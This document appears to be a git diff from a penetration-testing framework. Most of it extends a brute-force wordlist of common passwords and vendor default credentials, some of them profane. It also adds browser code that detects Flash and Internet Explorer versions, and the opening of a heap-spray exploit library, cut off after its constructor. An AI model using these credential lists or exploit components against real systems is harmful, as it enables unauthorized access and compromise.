+brooklyn +brother +brown +brownie +browns +browsepw +bruno +brutus +bryan +bryant +bsxpass +bubba +bubba1 +bubble +bubblegum +bubbles +bubbles1 +bublik +bubububu +buddha +buddy +buddy1 +budlight +buffalo +buffy +bugsbunny +builtin +bulldog +bulldogs +bullet +bullshit +bunny +burek123 +burton +busted +buster +butt +butter +buttercup +butterfly +butterfly1 +butthead +buttons +bynthc +c +c@lvin +cabajka +cable-d +cacadmin +caesar +cairell +caitlin +calamar +caleb +california +callie +calliope +callofduty +callum +calv1n +calvin +calvin! +calvin1 +calvin22 +calvin99 +camaro +cameron +camila +camille +camilo +campanita +canada +cancer +candice +candy +cannon +canon_admin +cantik +capricorn +captain +caramel +caramelo +cardinal +carebear +carina +carla +carla123 +carlitos +carlo +carlos +carmen +carol +carolina +caroline +carpediem +carrie +carson +carter +cartman +cascade +casey +casper +cassandra +cassidy +cassie +castillo +catalina +catarina +catch22 +catdog +catfish +catherine +cathy +catinthehat +cbtp +cc +ccaere +cclfb +ccrusr +cdn123 +cdvcdv +cdwv +cecilia +celeste +cellit +cellphone +celtic +celticfc +central +cesar +cgadmin +ch4ng3m3 +chacha +champion +chance +chandler +chanel +change +change_on_install +changeit +changeme +changeme! +changeme1 +changeme123 +changeme2 +changeme20 +changemes +changethis +charlene +charles +charlie +charlie1 +charlotte +charmed +chase +cheche +check123 +checkfs +checkfsys +checksys +cheeky +cheer +cheerl +cheerleader +cheero +cheese +cheetah +chelle +chelsea +cheng1234 +cherokee +cherries +cherry +cheryl +chester +chevelle +chevy +cheyenne +chicago +chichi +chicken +chicks +chico +children +chile62 +china +chingy +chinita +chiquita +chivas +chloe +chocolate +chopper +chris +chris1 +chris2 +chrisb +chrisbrown +chrisl +chriso +chrissy +christ +christian +christin +christina +christine +christmas +christopher +christy +chronic +chubby +chucky +church +ciang +cinderella +cindy +cinnamon +cisco +cisco123 +ciscocisco +ciscofw +cisko +citel +claire +classic +classo +classofo +claudia +clayton +cleopatra +client +clifford +clinton +cloud +clover +cmaker +cmlslc +cms500 +cobra +cocacola +cock +coconut +coffee +colleen +college +collins123 +colombia +colorado +comcomcom +community +compaq +compaq2003 +computer +computer1 +condo +conexant +confused +connect +conner +connie +connor +console +consults +control +converse +cookie +cookie1 +cookies +cool +coolcat +cooldude +coolgirl +coolio +cooper +copper +corazon +core +corecess +corey +corona +correct +corvette +cosita +cougar +country +courtney +cowboy +cowboys +cowgirl +coyote +cpe1704tks +cracker +craft +craftpw +crash +crashbandicoot +crazy +cream +creative +credu +crew10 +crftpw +cricket +cristian +cristiano +cristina +cristo +crystal +csigabiga +cthdfr +cti4ever +ctrls +cuddles +cukorborso +cumming +cumshot +cunt +cupcake +curtis +custpw +cuteako +cutegirl +cuteko +cutel +cuteme +cutie +cutiel +cutiepie +cuties +cuttie +cy +cydvb +cynthia +cyphte +d.e.b.u.g +d00rmat +d0dger +d0m1n0 +d1ngd0ng +d3ft0n3s +daddy +daddy1 +daddysgirl +dadmin +dadmin01 +daemon +daemon09 +daisy +dakota +dalejr +dallas +dalton +damian +damien +damin +dance +dancer +dancerl +dancing +danger +danica +daniel +daniel1 +daniela +daniell +danielle +danilo +danny +darius +darkangel +darkness +darkside +darling +darren +darwin +darwin99 +dasusr1 +dave +david +david1 +davidl +davox +dayana +db2admin +db2fenc1 +db2inst1 +db2pass +db2password +db2pw +dbase +dbpass +dbps +ddemde +deanna +death +debbie +debug +debugs +december +december2 +decemberl +deedee +default +default.password +defero +delfin +delled0 +delta +demo +demos +deneme +denise +dennis +dennis96 +denver +derek +derrick +desiree +destiny +device +devil +devils +devin +dexter +dhs3mt +dhs3pms +diablo +diamond +diamonds +diana +dianita +dianne +dick +dickhead +diego +diesel +dietcoke +digger +digital +dikdik +dilbert +dillon +dimdim +dimple +dimples +dinamo +diosesamor +dipset +dirty +disney +distrib0 +disttech +divine +dixie +djonet +dmr99 +dn_04rjc +dni +dnnadmin +dnnhost +doctor +dodgers +doggie +doggy +dolphin +dolphins +dominic +dominique +domino +donald +donkey +donna +donnie +donovan +doodle +doraemon +doris321 +dorothy +doruk +dos +dottie +douglas +draadloos +dragon +dragonfly +dragons +dream +dream182 +dreamer +dreams +dreamweaver +driver +dropship +dropzone +drowssap +drpepper +drummer +dtvbhx +ducati +ducati900ss +dude +duffy123 +duke +dulce +duncan +dustin +dvnstw +dvr2580222 +dvst10n +dwayne +dweeble +dylan +e250changeme +e500changeme +eagle +eagle1 +eagles +eastside +easy123 +easyway +eatme +echo +eclipse +ecuador +eddie +edgar +eduardo +edward +edwin +eeyore +efmukl +einstein +ekdrms +elaine +electric +element +elena +elephant +elijah +elizabet +elizabeth +ellie +elvis +emanuel +emerald +emilio +emily +eminem +emmanuel +emotional +empire +enable +engineer +england +enhydra +enigma +enjoy +enquirypw +enrique +enter +enter123 +enter123321 +epicrouter +eragon1 +eric +erica +erick +erika +ernesto +erotic +esmeralda +esperanza +esteban +esther +estrella +estrellita +etas +eternity +ethan +eugene +eunice +evelyn +everton +evilpenguin +exinda +expert03 +exploit +explorer +extazy +extendnet +extreme +ezit +ezone +f00b4r +f00bar +f00sball +f18hornet +f4g5h6j7 +fabian +fabiola +fabulous +face2face +factory +faith +fal +falcon +falcons +falloutboy +fam +familia +family +familymacintosh +famous +fantasy +fashion +fastweb +faszom +fatboy +fatcat +father +fatima +fax +fdsa +february +felicia +felipe +felix +fender +fergie +fernanda +fernandes +fernando +ferrari +fibranne +ficken2000 +field +field-service +figarofigaro +fire +fire1818 +fireman +firstsite +fischer123 +fish +fisher +fishing +fivranne +flapjack +flaquito6 +flash +flat24 +flores +florida +florida69 +flower +flowers +fluffy +flyboy +flyers +flying +foo123 +foobar +foolproof +football +football1 +footballl +ford +forest +forever +forget +formeforme +fotos1 +france +frances +francis +francisco +frank +frankie +franklin +freak +freaky +freckles +fred +freddie +freddy +free +freedom +freedom35 +freedumb1 +freekevin +freepass +freetown1 +freeuser +fresher +fresita +friday +friend +friends +friendship +friendster +frogger +froggy +ftp +fubar +fuck +fuckbitchesgetmoney +fucked +fucker +fucking +fuckit +fucklove +fuckme +fuckoff +fucku +fuckyou +fuckyou1 +fuckyou2 +funkwerk +funny +funshion +futbol +fw +g6PJ +g8keeper +gabby +gabriel +gabriela +gabrielle +galore +games +ganda +gandako +gandalf +gandalf6 +gangsta +gangster +ganteng +garcia +garfield +garrett +gateway +gatita +gatito +gators +gbpltw +gemini +geminis +gen1 +gen2 +general +genesis +genius +genius123 +george +georgia +gerald +geraldine +gerard +gerardo +german +germany +gerrard +get2it +getmoney +getoutofhere +gfhjkm +gfhjkmrf +ggdaseuaimhrke +ghbdtnbr +ghetto +giants +gibson +giggles +gigi99 +gilbert +ginger +giovanni +girl +girls +gizmo +gladys +glftpd +glitter +gloria +gmmkh +goblue +godbless +godblessyou +goddess +godisgood +godislove +godzilla +goethe +golden +goldfish +goldie +goldstar +golf +golfer +gomachan +goneo +gonzalez +goober +good +goodgirl +google +gopher +gordon +gorefest +gorgeous +gothic +gowest! +grace +gracie +grandma +granny +grapenuts +gravis +gravity +great +green +greenday +greenl +gregory +groovy +grouper +guadalupe +guardone +guest +guest1 +guestgue +guillermo +guinness +guitar +gunner +gustavo +gwapako +gymnast +h179350 +h6BB +hagpolm1 +hahaha +hailey +haley +hallo +hallo12 +hallo123 +halt +hamilton +hammer +hamster +handsome +hannah +hannah1 +hannover96 +hanseatic +happiness +happy +happy1 +happyhippo +hard +hardcore +hardon +harley +harley1985 +harmony +harold +harris +harrison +harry +harrypotter +harvey +hasan12345 +hashimoto +haslo123 +hawaii +hawk201 +hawkeye +hayden +hayley +hazel +hdms +he +head +heart +hearts +heather +heaven +hector +heka6w2 +heleli +helena +hello +hello1 +hello123 +hellokitty +hellol +help +help1954 +helpme +helson +hendrix +henry +hentai +hercules +hermione +hermosa +hernandez +hero777 +hershey +hewlpack +heyhey +highspeed +hilary +hiphop +hitman +hobbes +hobbs +hockey +hogehoge +holas +holden +holiday +holla +hollie +hollister +holly +hollywood +homer +honda +honduras +honey +honey2 +honeyko +honeyl +hongkong +hooker +hooters +horney +horny +horse +horses +hotboy +hotchick +hotdog +hotgirl +hotmail +hotmama +hotpink +hotrod +hotstuff +hottie +hottie1 +hottiel +house +houston +howard +howard03 +hp.com +hp_admin +hpinvent +hpt +hqadmin +hs7mwxkk +hsadb +huawei +hummer +humppa +hunter +hunting +hyperdrive +i +iDirect +iamthebest +ibddls +ibm +ibmcel +icecream +iceman +iconto +ictel +idontknow +ihateu +ihateyou +ilmi +ilom-admin +ilom-operator +ilon +ilove +iloveboys +ilovechris +ilovegod +ilovehim +ilovejesus +ilovejosh +ilovematt +iloveme +ilovemike +ilovemom +ilovemyself +ilovetessa +iloveu +iloveu2 +iloveyou +iloveyou! +iloveyou1 +iloveyou2 +iloveyoul +iluvme +iluvu +iluvyou +images +imissyou +imperial +imsa7.0 +imss7.0 +inads +incubus +indian +indonesiaraya +indspw +infinity +informix +infrant1 +ingrid +init +initpw +inlove +insane +inside +install +installer +integra18 +integra99 +intel +intermec +internal +internet +inuvik49 +inuyasha +inverter +iolan +ip20 +ip21 +ip3000 +ip305Beheer +ip400 +ipax +ireland +irish +irock +ironman +ironport +isaac +isabel +isabella +isabelle +isaiah +iscopy +isdev +isee +isolation +isp +israel +italia +itsasecret +iubire +iverson +iwantu +iwill +j09F +j256 +j262 +j322 +j5Brn9 +j64 +jack +jack1998 +jackass +jackie +jackson +jackson88 +jacob +jaguar +jaime +jake +jamaica +james +james1 +james2 +jamesl +jamie +jander1 +janelle +janice +janine +janjan +jannie +january +japan +jared +jasmin +jasmine +jasmine1 +jason +jasper +jasperadmin +javier +jayden +jayjay +jayson +jazmin +jazmine +jazzy +jbvm +jeff +jefferson +jeffrey +jellybean +jenjen +jenna +jennie +jennifer +jenny +jeremiah +jeremy +jermaine +jerome +jerry +jersey +jesse +jessica +jessica1 +jessical +jessie +jester +jesucristo +jesus +jesus1 +jesuschrist +jesusl +ji394su3 +jiemou3i +jillian +jimmy +joana +joanna +joanne +jocelyn +joejonas +joeuser +joh316 +johanna +john +john2008 +johncena +johnel +johnl +johnny +johnny50 +johnson +joker +joljee +jonas +jonathan +jones +jonjon +jordan +jordan1 +jordan2 +jordan23 +jordanl +jordano +jorge +josel +joseluis +joseph +josephine +joshl +joshua +joshua1 +joshuao +joyce +joyjoy +jstwo +jtjd +juancarlos +juanita +juanito +judith +juice +juicy +juke2008 +julia +julian +juliana +julie +juliet +juliette +julio +julius +july2 +julyl +june2 +junel +juneo +junior +junjun +junker +jupiter +justice +justin +justin1 +justine +justinl +justino +justme +juventus +k123 +k1rs1kka +k4hvdq9tj9 +kailro +kaitlyn +kakala +kalap +kali2002 +kalimera +kalvin +kane +karate +karen +karina +karkulka +karla +karlita +karmal +katana +katelyn +katherine +kathleen +kathryn +kathy +katie +katrina +kawasaki +kaykay +kayla +kaylee +kayleigh +kcm +keepout123 +keisha +keith +kelly +kelsey +kelvin +kendall +kendra +kennedy +kenneth +kenny +kenzan +kenzie +kermit +kevin +keystone +kiara +kieran +killa +killer +kilo1987 +kimberly +king +kingkong +kingofthehill +kingswood +kirsten +kirsty +kisses +kisskiss +kissme +kissmyass +kitkat +kitten +kittens +kitty +kittycat +kittykat +klimis +klmnxx +km123456 +kn1TG7psLu +knight +kodiak +kolobezka +komprie +kosten +kpact +krakonos +kramer +krissy +kristen +kristin +kristina +kristine +kronites +krumholz +krystal +ksdjfg934t +kucing +kukareku +kuku +kusakusa +l0v3m3 +l1 +l2 +l2e4s6a +l2e4sa +l2eabc +l2eqwe +l3 +l8rsk8r +labas123 +lacoste +lacrosse +ladies +ladybug +laflaf +laguna +lakers +lalala +lampard +landon +langke +lantronix +larry +last +lasvegas +latina +laura +lauren +lavender +lawrence +lbyjpfdh +leanne +leather +leaves +leelee +legend +legolas +leigh +lemon123 +lenor +leoleo +leonard +leonardo +lesarotl +lesbian +leslie +lester +letacla +letmein +letmein1 +letmein2 +letmeout +letmesee +level10 +leviton +lewis +lheujq +liberty +libra +lickme +lifehack +lifeline +lifesucks +light +lights +liliana +lillian +lilly +lilmama +lilman +lilwayne +lincoln +linda +lindsay +lindsey +lineprin +linga +linkin +linkin123 +linkinpark +linux99 +lipgloss +liquidtension +lisa +little +liverpoo +liverpool +lizard +lizzie +lkilogmL +lkw +lkwpeter +llatsni +lll-222-l9eeemailaaddress.tst +localadmin +locatepw +lofasz +logan +logapp +logitech +lokita +lol +lolipop +lolipop2 +lolita +lollipop +lollol +lollypop +london +lonely +long +longhorns +looker +looking +lopata +lopez +loran123 +lord1234 +lorena +lorenzo +lorraine +loser +louie +louise +loulou +lourdes +love +love12 +love123 +love2 +love2oo +love4ever +love6 +love8 +love9 +loveable +lovebug +lovee +lovehurts +lovel +loveless +lovelife +lovelo +lovelove +lovely +lovely1 +loveme +loveme1 +loveo +lover +lover1 +loverboy +lovergirl +loverl +lovers +loves +lovesucks +loveu +loveya +loveyou +loving +lp +lpadm +lpadmin +lpassword +lq2wee +lq2wee4r +lqaz2wsx +lsxol +lucas +lucenttech1 +lucenttech2 +lucero +lucky +lucky1 +lucky7 +luckyl +lucy99 +ludacris +luisa +luke1993 +lunita +lupita +lynx +m0t0rhead +m1122 +m1link +m1r4nd4 +m45t3rm1nd +mMmM +machine +mackenzie +mackousko +macmac +macromedia +madalina +maddie +maddog +madeline +madison +madman18 +madmax +madonna +maganda +magex +maggie +magic +magnum +mahal +mahalkita +mahalko +mahalkoh +mail +maine207 +mainstreet +maint +maintain +maintpw +makayla +maldita +malibu +mama1234 +mamapapa +mamita +man +manage +manager +manchester +mandy +manman +manson +manuel +manuela +manunited +manutd +mar1jane +marcela +marcelo +march +march2 +marchl +marco +marcos +marcus +margaret +margarita +maria +maria1988 +mariah +marian +mariana +maribel +marie +marie1 +mariel +mariela +marilyn +marina +marine +marines +mario +marion +mariposa +marisa +marisol +marissa +marius +marjorie +mark +marlboro +marlene +marley +marlon +married +marshall +martha +martin +martina +martinez +marvin +maryjane +mason +master +masterkey +masterok +mathew +matrix +matt +matthew +matthew1 +mature +maureen +maurice +mauricio +maverick +maxima +maximus +maxine +maxwell +maymay +mayra +mazafaka +mc1029 +mckenzie +mcknight88 +me +mediator +medina +medion +megabit +megan +megatron +meghan +melanie +melinda +melisa +melissa +melody +melvin +member +mememe +mendoza +mercedes +mercury +merlin +mermaid +metallic +metallica +mexican +mexico +mexx6399 +mfd +mhine +mi +miamor +michael +michael1 +michaela +michaell +micheal +michel +michelangelo +michele +michelle +michelle1 +michigan +mickey +mickeymouse +microbusiness +microsoft +midnight +mierda +miguel +mihaela +mike +mikeiscool +mikel +mikey +milagros +milkshake +miller +millie +mine +minime +minnie +miracle +miranda +miriam +mirrormirror +mississippi +missy +mistress +misty +mitchell +mlusr +mmmmmm +mngt +moises +mollie +molly +momdad +mommy +mommy1 +momof +monday +money +money1 +monica +monika +monique +monitor +monkey +monkey1 +monkey2 +monkeybutt +monkeyl +monkeyo +monkeys +monster +montana +moocow +mookie +moomoo +moonlight +moose +morales +morena +moreno +morgan +morris +mother +motorola +mountain +mountfs +mountfsys +mountsys +mouse +movie +mozart +mp3mystic +mpegvideo +mtch +mtcl +mu +muffin +muffinman +mujama +mummy +mumuland +munchkin +munchkin10 +mupali +murphy +music +musica +mustang +mustang70 +muze +mvemjsunp +mwmwmw +my +my_DEMARC +myangel +mybaby +mykids +mylife +mylove +myname +mysecretpassword0* +myself +myspace +myspace1 +mysweex +n0d0ubt1 +n0ttelling +naadmin +nadine +naked +nancy +naruto +nas123 +nascar +natalia +natalie +natasha +nathan +nathaniel +naughty +naynay +ncadmin +ncc1701 +ncc1701d +ncrm +negrita +nelly +nelson +nemesis +nemtom1 +nenita +nerdnerd +net101 +netadmin +netbotz +netgear1 +netlink +netman +netnet +netopia +netscreen +network +nevaeh +new_password +newcastle +newlife +newport +news +newyork +nfmvta +nicecti +nicholas +nichole +nician +nickjonas +nicky +nicola +nicolas +nicole +nicole1 +nicole2 +nicolel +nicoleo +nigga +nigger +nightmare +nigugu +nike2008 +nikita +nikki +nimda +nimdaten +ninja +nintendo +nipple +nipples +nirvana +nissan +nitech +nitram +nm2user +nms +nmspw +no +nobchan +nobody +nokai +nokia +none +noodle +noodles +nopass +nopasswd +nopermission +norman +nortel +not4u2c +nothing +nottelling +nova21 +novell +november +november2 +novemberl +noway +npwfkl +nsa +nsi +nsroot +ntacdmax +ntpupdate +nttocn +number +number1 +number66 +nursing +nz0u4bbe +oceans11 +ocnc123 +october +october2 +octoberl +odiotodo +ods +offshore +oliver +olivia +omarion +omfglol1 +omgomg123 +omneon +onelove +online +ontology +op +opengate +openview +operator +oqksad +oracle +orange +orlando +orpheus +oscar +otbu+1 +ou812 +outlaw +overseer +p3t3rpan +p@ssw0rd +pa$$w0rd +pa$$word +pablo +packard +packers +paige +pakistan +paloma +pamela +pancho +panda +pandemonium +panget +pangit +pantera +pantera69 +panther +panthers +panties +paola +papito +par0t +paradise +paramore +paris +parker +parmesan +parola +parolamea +party +pasaway +pass +pass123 +passion +passion12 +passport +passw0rd +passw0rd1 +password +password1 +password1` +password2 +password201 +password209 +password55 +passwordl +passwordo +passwort +patches +pathology +patito +patricia +patrick +patrickb123 +patriots +patrol +paul +paula +paulina +pauline +paulo +pavilion +payton +pbxk1064 +peace +peaches +peanut +pearljam +pebbles +pedro +peekaboo +peewee +peluche +pelusa +pencil +penelope +penguin +penis +penny +pento +people +pepper +pepsi +pepsi2008 +pepson +perfect +peribit +permit +pervert +peter +peter123 +peterpan +petert999 +pfsense +phantom +philip +phillip +philly +phishfood +phoebe +phoenix +phoenix602 +photos +photoshop +phpbb +phplist +phpreactor +picard +pickle +pickles +picture +pictures +picus +pieceofshit +pierre +piggy +piglet +pikachu +pilou +pimp +pimpin +pimpl +pineapple +pink +pink2 +pinkie +pinkl +pinko +pinky +piolin +piranha +pirate +pirates +pisces +pitbull +pixadmin +pixmet2003 +pizza +pizza42 +platinum +playboy +player +playgirl +playstation +please +plokijuh +plopplop +pnadmin +poepchinees +pogiako +poi098 +pokemon +pokemon! +police +poll +pollito +poloppolop +pontiac +poohbear +poohl +pookie +poop +poopie +poopoo +poopy +popcorn +popeye +popidc +poppy +porn +porno +porsche +portakal1 +portugal +postgres +postmast +potter +powder1 +power +powerapp +powerdown +powermax +powerpower +ppmax2011 +pr1v4t3 +preciosa +precious +prelude +prepaid +preston +pretty +prettygirl +primat +prime +primenet +primeos +primos +prince +princes +princesa +princesita +princess +princess1 +princess2 +princessl +princesso +private +proba123 +progr3ss +promise +prost +protection +proxy +prtgadmin +pswrdpswrd +psycho +publ1c +public +pumpkin +punkin +punkrock +puppies +puppy +puppylove +purple +purple1 +purplel +pussies +pussy +pussy1 +pussycat +pw +pwp +pwpw +pwrchute +pyramid +q +q1q1q1 +q1q1q1q1 +q1q2q3q4 +q1w2e3r4 +q3kze7q +qaz123 +qaz74123 +qazw1234 +qazwsx +qazwsx!@# +qazwsx123 +qazwsx123456 +qazwsxedc +qazxsw2 +qazxswedc123 +qazzxc +qpgmr +qq123456 +qqqitx +qqqqqq +qscwdv +qsecofr +qserv +qsrv +qsrvbas +qsvr +qsysopr +queen +quepasa +questra +quser +qwas12 +qwe +qwe123 +qwe123!@# +qwe123. +qweQWE123 +qweasd123 +qweasd789 +qweasdzxc2 +qweewq123 +qweqweqwe +qwer +qwerqaz +qwert +qwert12345 +qwerty +qwerty09 +qwerty1 +qwerty12 +qwerty123 +qwerty1234567890 +qwerty7 +qwerty77 +qwertyl +qwertyui +qwertyuiop +qwertz123 +r@p8p0r+ +rabbit +rachael +rachel +rachelle +racing +radius +radware +rafael +ragnarok +rahasia +raider +raiders +raidzone +rainbow +rais +ramirez +ramona +random +randy +randy007 +ranger +rangers +raptor +raquel +raritan +rascal +raspberry +raven +raymond +rayong1234 +rayray +razor +rcustpw +rdc123 +read +read-only +read-write +readwrite +realmadrid +rebecca +rebel +rebelde +recover +recovery +red +red123 +reddog +redhat +redhead +redline +redneck +redorblue +redpoint +redrose +redrum +redskins +redsox +redwings +reformation +reggie +regina +regional +remember +renee +replicator +restoreonly1 +resumix +revision +rfnfyf +ricardo +richard +richard#1 +richie +ricky +rihanna +rikitiki +riley +ringer +riobravo +rivera +riverhead +rje +rmnetlm +rmon +rmon_admin +ro +robbie +robert +roberta +roberto +robin +robinson +rochelle +rock +rocker +rocket +rockme +rocknroll +rockon +rocks +rockstar +rocku +rocky +rockyou +rodney +rodopi +rodrigo +rodriguez +roland +role1 +rollerblade +rolltide +roman123 +romance +romania +romeo +ronald +ronaldinho +ronaldo +ronnie +ronson +rooney +rooster +root +root123 +root1234 +root4 +roota +rootadmin +rootme +rootpass +rootroot +rosario +rosebud +rosedale +roses +rosie +rosita +rotrot +round123 +router +roxana +roxanne +rsadmin +ruben +runder +runescape +runner +rush2112 +russell +russia +rusty +rutabaga +rw +rwa +rwmaint +ryan +ryanl +s!a@m#n$p%c +s3cret +s3cur3d +sabrina +sadie +sagitario +sailor +saints +sakura +salamander +sales +sallasana +sally +salope +salvador +samantha +sammie +sammy +samson +samsun +samsung +samsung34 +samuel +san-fran +sanayounes +sanchez +sandman +sandra +sandy +sanfran +santana +santiago +santos +sap123 +sapphire +sarah +sarita +sasha +sasman +sassy +sasuke +saturn +savage +savanna +savannah +sayang +saynomore +scarface +school +scifix +sclg +scmchangeme +scooby +scoobydoo +scooter +scorpio +scorpion +scotland +scott +scotty +scout +scrappy +scruffy +sebastian +secacm +secofr +secret +secure +secure123 +secure6 +security +seekanddestroy +selena +semmi +semperfi +senioro +september +serena +serenity +sergio +seri +serial# +sertafu +service +setmefree +setup +setup/nopasswd +seven +seventeen +sexsex +sexy +sexy2 +sexy6 +sexybabe +sexybaby +sexybitch +sexygirl +sexyl +sexylady +sexylove +sexymama +sexyme +sexyo +shadow +shadow1 +shadowl +shaggy +shakira +shakyamuni +shalom +shane +shannon +sharon +shasha +shaved +shawn +shawty +sheena +sheila +shelby +shelly +shin +shineonyou +shirley +shit +shithead +shiva +shooter +shopping +shorty +shortyl +shs +shuriken +shutdown +shutup +sidney +siemens123 +siempre! +sierra +signa +silver +silvia +simba +simon +simonb +simone +simple +simpleplan +simpson +simpsons +singer +single +sister +sisters +sitecom +skate +skater +skipper +skippy +skittles +skyler +skyline +skysky21 +skywalker +slayer +sldkj754 +slideshow +slipknot +slut +sluts +sma +smallbusiness +smallville +smcadmin +smelly +smile +smiles +smiley +smith +smokey +smooth +smudge +snake +snickers +sniper +snmp +snmp-Trap +snmpd +snmptrap +snoopy +snowball +snowflake +snowman +snuggles +soccer +soccer1 +soccer2 +soccerl +soccero +socent +sofia +sofresh +softball +softballl +software +sofuck +solaris +soledad +something +somtik +sonia +sophia +sophie +sosict +soulmate +southside +sp99dd +spacemonkeys +spanky +sparkle +sparky +special +specialist +speedxess +speedy +spencer +spider +spiderma +spiderman +spike +spike04 +spirit +spitfire +spoiled +sponge +spongebob +spooky +spooml +sporting +sports +spring +sprite +sq!us3r +squ1rrel +squirt +srinivas +ssladmin +ssp +stacey +stanley +star +starfish +stargate +stark123 +starl +starlight +stars +start123 +startrek +starwars +state119 +stay-off +steaua +steelers +stefan +stella +steph +stephanie +stephen +steve +steven +stevie +stewart +sticky +stingray +stinky +storageserver +store +stormy +strasburg +stratauser +stratfor +strawberry +strike +stuart +student +stupid +sublime +success +suck +sucker +suckit +suckme +sucks +sugar +summer +summero +sun +sun12345 +sunflower +sunny +sunset +sunsh1ne! +sunshine +sunshine1 +sunvision +super +supergeil +supergirl +superman +superpass +superstar +superstart +superuser +supervisor +support +supportpw +surecom +surfer +surt +susana +suzanne +suzuki +svcPASS83 +sweet +sweet16 +sweetheart +sweetie +sweetl +sweetness +sweetpea +sweets +sweety +swimmer +swimming +switch +swordfis +swordfish +sy123456 +sydney +symantec +symbol +sync +synnet +sys +sys/change_on_install +sysAdmin +sysadm +sysadmin +sysadmpw +sysbin +syslib +sysopr +syspw +system +system1 +system32 +system_admin +sysu +t00lk1t +t00tt00t +t0ch20x +t0ch88 +t0m&j3rry +t0talc0ntr0l4! +t1m3l0rd +taco66 +tagada +tagged +taki +talent +tamara +tanglefoot +tania +tanner +tarantula1 +tarheels +tasha +tasmannet +tatercounter2000 +tatiana +tattoo +taurus +taylor +taytay +tazmania +tdvcth +te +teX1 +teacher +teamo +teamomucho +tech +technolgi +teddy +teddybear +teen +teens +teiubesc +tekiero +telco +tele +telecom +telefone +tellabs#1 +telos +temp11 +temp1234 +temp12345 +temppass +tennis +tequiero +tequieromucho +tequila +teresa +term1nat0r +terrell +terry +test +test1 +test100 +test123 +test1234 +test2 +testbed +tester +testing +testpass +testtest +texas +thailand +the +thebest +thegame +theman +themaster01 +theone +theresa +therock +theused +thisisapassword1 +thomas +three4me +throwaway +thuglife +thumper +thunder +thx1138 +tiaranet +tickle +tiffany +tiger +tiger1 +tiger123 +tigers +tigger +tigger1 +tiggerl +time +time_out +timely +timmy +timothy +tini +tinker +tinkerbell +tintin +tiny +titanic +titkos +tits +tiv0li +tivoli +tivonpw +tj1234 +tlah +tmp123 +tokiohotel +tomcat +tommy +tony +toor +tootsie +topgun +toplayer +topsecret +toptop +tornado@ +torres +toshy99 +totototo +touchpwd= +tour +toyota +tr650 +tracey +trade +trancell +trap +travis +trendimsa1.0 +trevor +triangulation +trinidad +trinity +triptrap +trisha +tristan +trixie +trmcnfg +trooper +trouble +trucks +truelove +trustno +trustno1 +tslinux +tucker +tuff1234 +tunix +turkey +turnkey +turtle +tutor +tuxalize +tweety +tweetybird +tweetyl +twilight +twinkle +twins +tyler +tyrone +tyson +uClinux +uboot +ucsucs +umountfs +umountfsys +umountsys +undertaker +unicorn +unique +united +united123 +united99 +unix +uplink +urchin +user +user0000 +userNotU +usher +usulll +uucp +uucpadm +vagina +valentin +valentina +valentine +valentino +valeria +valerie +vampire +vanesa +vanessa +vanilla +vatefairefoutre +vatten +vegeta +venigo +ventilator +veronica +vertex25 +vfnmdfie +vgnadmin +vicky +victor +victoria +victory +video +vienna12 +vienna88 +viewmaster +viewuser1 +viking +vikings +vince123 +vincent +violet +violeta +viper +virgin +virginia +virginia11 +virgo +vishal123 +vision +vision2 +visor +visual +vitaly +vitesse +vivian +viviana +vivivi +vlis +voip123 +volcom +volition +volleyball +voodoo +voyager +vpasp +w00tw00t +w0rkplac3rul3s +w2402 +w8w00rd +wachtwoord +walker +wallace +walter +wampp +wanker +wanmei +warcraft +warpdrive +warren +warrior +warriors +water +waterfire12 +watermelon +wave123 +wayne +weasel +web +webadmin +webibm +weblink +weblogic +webmaster +weeslz +welcome +welcome1 +wendimia +wendy +wesley +west123 +westlife +westside +wg +whatever +white +whitebird +whitney +whore +whynot +wibbles +wicked +wildcat +wildcats +william +williams +willie +willow +wilson +windows +windows7 +winner +winnie +winston +winston1 +winter +winterm +wipro123 +wizard +wjltnt +wlcsystem +wlpisystem +wlsedb +wlsepassword +wodj +woelco +wolf +wolfgang +wolfpack +wolverin +wolves +wombat +women +woody +world +wrestling +wrgg15_di524 +write +wutang +www +wyse +x +x-admin +x40rocks +x6zynd56 +xampp +xavier +xbox +xbox360 +xboxe6 +xceladmin +xd +xdfk9874t3 +xdr56tfc +xerox +xiazhi +ximena +xinmen +xitgmLwmp +xljlbj +xmux +xo11nE +xpsm1210 +xunlei +xupamisto +xxxx +xxxxx +xxxxxx +xxxxxxxx +xxyyzz +xyuxyu +xyzall +xyzzy +yabadabadoo +yahoo +yakiniku +yamaha +yankee +yankees +yasmin +year2000 +yellow +yellow123 +yellow22 +yes90125 +yesenia +yolanda +yomama +young +yourmom +yourock +yousuck +yoyoyo +ytrewq +yugioh +yuiop +yvette +yvonne +yyl +z0x9c8v7 +zacefron +zachary +zaq1@WSX +zaq1xsw2 +zaq1xsw2cde3 +zaqwsxcde +zaxscdvf +zazazaza +zbaaaca +zebra +zeosx +zero0zero +zero2hero +zjaaadc +zmalqp10 +zodiac666 +zombie +zoomadsl +zse4rfv +zxcpoi123 +zxcvbn +zxcvbnm +zzzz +zzzzzz diff --git a/data/js/detect/misc_addons.js b/data/js/detect/misc_addons.js index 2deaed1252..fe0ba675cc 100644 --- a/data/js/detect/misc_addons.js +++ b/data/js/detect/misc_addons.js @@ -46,6 +46,53 @@ window.misc_addons_detect.hasSilverlight = function () { return found; } +/** + * Returns the Adobe Flash version +**/ +window.misc_addons_detect.getFlashVersion = function () { + var foundVersion = null; + + // + // Gets the Flash version by using the GetVariable function via ActiveX + // + try { + var ax = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').toString(); + foundVersion = ax.match(/[\d,]+/g)[0].replace(/,/g, '.') + } catch (e) {} + + // + // This should work fine for most non-IE browsers + // + if (foundVersion == null) { + var mimes = window.navigator.mimeTypes; + for (var i=0; i 0) { + ua_version = "9.0"; + } + } + } + + // IE8 detection straight from IEBlog. Thank you Microsoft. + if (!ua_version) { + try { + ua_version = "8.0"; + document.documentElement.style.display = "table-cell"; + } catch(e) { + // This executes in IE7, + // but not IE8, regardless of mode + ua_version = "7.0"; + } } } else if (document.compatMode) { ua_version = "6.0"; diff --git a/data/js/memory/explib2/lib/explib2.js b/data/js/memory/explib2/lib/explib2.js new file mode 100644 index 0000000000..434b36cf4d --- /dev/null +++ b/data/js/memory/explib2/lib/explib2.js @@ -0,0 +1,426 @@ + + +ExpLib = (function() { + + function ExpLib( num_arrays, arr_size, base, payload ) { + this.arr1 = null; + this.arr2 = null; + this.base = base; + this.arr_size = arr_size; + this.arr_arr = null; + // Allows to control the contents of the sprayed memory. + // Have into account some array positions will be corrupted + // while leaking and modifying things. + this.arr_contents = []; + + this.payload = payload; + this.modules = {} + this.getproc = null; + 